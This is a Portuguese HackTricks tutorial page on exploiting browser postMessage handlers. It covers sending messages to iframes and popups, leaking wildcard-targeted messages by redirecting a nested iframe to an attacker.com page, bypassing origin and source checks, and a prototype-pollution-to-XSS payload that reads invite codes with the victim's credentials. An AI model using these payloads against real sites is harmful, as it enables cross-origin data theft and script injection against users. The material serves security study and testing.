15 KiB
Vulnerabilidades do PostMessage
Vulnerabilidades do PostMessage
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
WhiteIntel
WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares stealers.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
Enviar PostMessage
O PostMessage usa a seguinte função para enviar uma mensagem:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Note que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para esse domínio (mesmo que a origem do objeto janela seja diferente).
Se o coringa for usado, mensagens podem ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto Janela.
Atacando iframe & coringa em targetOrigin
Conforme explicado em este relatório se você encontrar uma página que pode ser inserida em um iframe (sem proteção de X-Frame-Header
) e que está enviando mensagens sensíveis via postMessage usando um coringa (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Note que se a página puder ser inserida em um iframe, mas o targetOrigin estiver definido para uma URL e não para um coringa, esse truque não funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Exploração do addEventListener
O addEventListener
é a função usada pelo JS para declarar a função que está aguardando postMessages
.
Um código semelhante ao seguinte será usado:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Observe neste caso como a primeira coisa que o código está fazendo é verificar a origem. Isso é terrivelmente importante, principalmente se a página for fazer qualquer coisa sensível com as informações recebidas (como alterar uma senha). Se não verificar a origem, os atacantes podem fazer as vítimas enviarem dados arbitrários para esses endpoints e alterar as senhas das vítimas (neste exemplo).
Enumeração
Para encontrar ouvintes de eventos na página atual, você pode:
- Pesquisar o código JS por
window.addEventListener
e$(window).on
(versão JQuery) - Executar no console das ferramentas de desenvolvedor:
getEventListeners(window)
- Ir para Elementos --> Ouvintes de Eventos nas ferramentas de desenvolvedor do navegador
- Usar uma extensão do navegador como https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Essas extensões do navegador irão interceptar todas as mensagens e mostrá-las para você.
Contornos de verificação de origem
- O atributo
event.isTrusted
é considerado seguro, pois retornaTrue
apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador de contornar se implementado corretamente, sua importância em verificações de segurança é notável. - O uso do método
indexOf()
para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo ilustrando essa vulnerabilidade é:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- O método
search()
deString.prototype.search()
é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita em regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
A função
match()
, semelhante aosearch()
, processa regex. Se o regex for estruturado incorretamente, pode ser propenso a contornos. -
A função
escapeHtml
destina-se a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheçahasOwnProperty
, oescapeHtml
não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo: -
Falha esperada:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Contornando o escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
No contexto dessa vulnerabilidade, o objeto File
é notavelmente explorável devido à sua propriedade name
somente leitura. Essa propriedade, quando usada em modelos, não é sanitizada pela função escapeHtml
, levando a riscos de segurança potenciais.
- A propriedade
document.domain
em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.
Bypass de e.origin == window.origin
Ao incorporar uma página da web em um iframe isolado usando %%%%%%, é crucial entender que a origem do iframe será definida como nula. Isso é particularmente importante ao lidar com atributos de sandbox e suas implicações na segurança e funcionalidade.
Ao especificar allow-popups
no atributo de sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo allow-popups-to-escape-sandbox
também seja incluído, a origem da janela pop-up é igualmente definida como null
, alinhando-se com a origem do iframe.
Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando postMessage
, tanto o envio quanto o recebimento têm suas origens definidas como null
. Isso leva a um cenário em que e.origin == window.origin
avalia como verdadeiro (null == null
), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem null
.
Para mais informações, leia:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Contornando e.source
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para Scripts de Conteúdo de extensões de navegador para verificar se a mensagem foi enviada da mesma página):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Pode forçar e.source
de uma mensagem a ser nulo criando um iframe que envia o postMessage e é imediatamente excluído.
Para mais informações leia:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypass do Cabeçalho X-Frame
Para realizar esses ataques, idealmente você poderá colocar a página da web da vítima dentro de um iframe
. Mas alguns cabeçalhos como X-Frame-Header
podem prevenir esse comportamento.
Em tais cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Roubo de mensagem enviada para o filho bloqueando a página principal
Na página a seguir, você pode ver como poderia roubar dados sensíveis de postmessage enviados para um iframe filho ao bloquear a página principal antes de enviar os dados e abusar de um XSS no filho para vazar os dados antes que sejam recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Roubo de mensagem modificando a localização do iframe
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Options que contenha outro iframe, você pode alterar a localização desse iframe filho, então, se estiver recebendo um postmessage enviado usando um coringa, um atacante poderia alterar a origem desse iframe para uma página controlada por ele e roubar a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage para Poluição de Protótipo e/ou XSS
Em cenários onde os dados enviados por meio de postMessage
são executados por JS, você pode inserir um iframe na página e explorar a poluição de protótipo/XSS enviando o exploit via postMessage
.
Alguns XSS muito bem explicados através de postMessage
podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Exemplo de um exploit para abusar da Poluição de Protótipo e depois XSS através de um postMessage
para um iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Para mais informações:
- Link para a página sobre poluição de protótipos
- Link para a página sobre XSS
- Link para a página sobre poluição de protótipos do lado do cliente para XSS
Referências
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para praticar: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.
O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares de roubo de informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.